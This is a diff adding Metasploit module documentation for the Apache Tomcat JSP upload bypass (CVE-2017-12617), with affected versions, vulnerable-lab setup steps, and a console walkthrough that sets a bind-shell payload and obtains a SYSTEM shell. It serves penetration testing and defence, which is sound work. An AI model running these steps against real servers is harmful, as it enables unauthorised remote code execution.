|
| 1 | +## Description |
| 2 | + |
| 3 | +This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration. |
| 4 | + |
| 5 | +## Vulnerable Application |
| 6 | + |
| 7 | +When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialization parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617 |
| 8 | + |
| 9 | +To set up a vulnerable installation: |
| 10 | +1. Download and install an affected version of Apache Tomcat. |
| 11 | +2. Download and install Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded. |
| 12 | +3. In conf directory of Apache Tomcat, edit the web.xml file and set the "readonly" parameter to false for the default servlet. |
| 13 | +4. Restart the Tomcat service. |
| 14 | + |
| 15 | + |
| 16 | +## Verification Steps |
| 17 | + |
| 18 | +1. Do: ```use exploit/multi/http/tomcat_jsp_upload_bypass``` |
| 19 | +1. Do: ```set payload java/jsp_shell_bind_tcp``` |
| 20 | +2. Do: ```set RHOST [IP]``` |
| 21 | +3. Do: ```set RPORT [PORT]``` |
| 22 | +4. Do: ```check``` |
| 23 | +5. It should be reported as vulnerable |
| 24 | +6. Do: ```run``` |
| 25 | +7. You should get a shell |
| 26 | + |
| 27 | +## Scenarios |
| 28 | + |
| 29 | +``` |
| 30 | +msf > use exploit/multi/http/tomcat_jsp_upload_bypass |
| 31 | +msf exploit(tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp |
| 32 | +payload => java/jsp_shell_bind_tcp |
| 33 | +msf exploit(tomcat_jsp_upload_bypass) > set RHOST 10.10.40.93 |
| 34 | +RHOST => 10.10.40.93 |
| 35 | +msf exploit(tomcat_jsp_upload_bypass) > set RPORT 8080 |
| 36 | +RPORT => 8080 |
| 37 | +msf exploit(tomcat_jsp_upload_bypass) > check |
| 38 | +[+] 10.10.40.93:8080 The target is vulnerable. |
| 39 | +msf exploit(tomcat_jsp_upload_bypass) > run |
| 40 | +
|
| 41 | +[*] Started bind handler |
| 42 | +[*] Uploading payload... |
| 43 | +[*] Payload executed! |
| 44 | +[*] Command shell session 1 opened (10.10.230.230:39979 -> 10.10.40.93:4444) at 2017-10-11 07:43:08 -0400 |
| 45 | +
|
| 46 | +Microsoft Windows [Version 6.3.9600] |
| 47 | +(c) 2013 Microsoft Corporation. All rights reserved. |
| 48 | +
|
| 49 | +C:\Program Files\apache-tomcat-7.0.81>whoami |
| 50 | +whoami |
| 51 | +nt authority\system |
| 52 | +
|
| 53 | +``` |
0 commit comments